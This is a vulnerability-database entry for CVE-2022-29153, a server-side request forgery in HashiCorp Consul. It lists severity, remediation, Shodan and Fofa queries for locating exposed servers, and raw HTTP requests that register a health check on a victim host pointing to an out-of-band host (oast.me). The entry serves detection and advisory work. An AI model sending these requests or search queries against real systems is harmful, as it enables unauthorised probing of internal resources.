🔙 목록으로 돌아가기

CVE-2022-29153: HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery

TitleHashiCorp Consul/Consul Enterprise - Server-Side Request Forgery
Authorc-sh0
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to send crafted requests to internal resources, leading to unauthorized access or information disclosure.
Remediation1) HTTP + interval health check configuration provides a disable_redirects option to prohibit this behavior. 2) Fixed in 1.9.17, 1.10.10, and 1.11.5.
CVSS Score7.5
EPSS Score0.85724
CVE IDCVE-2022-29153
CWE IDCWE-918
Shodan Querytitle:"Consul by HashiCorp"http.title:"consul by hashicorp"cpe:"cpe:2.3:a:hashicorp:consul"
Fofa Querytitle="consul by hashicorp"
Tags cve cve2022 consul hashicorp ssrf intrusive vkev vuln

🔍 Vulnerability Description

HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

PUT /v1/agent/check/register HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 151
Content-Type: application/json
Accept-Encoding: gzip

{"id":"38F95EqYdO9r5TY04gFpzYWf2GX","name":"TEST NODE","method":"GET","http":"http://oast.me","interval":"10s","timeout":"1s","disable_redirects":true}
PUT /v1/agent/check/deregister/38F95EqYdO9r5TY04gFpzYWf2GX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
Accept-Encoding: gzip

0

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29153.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29153.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A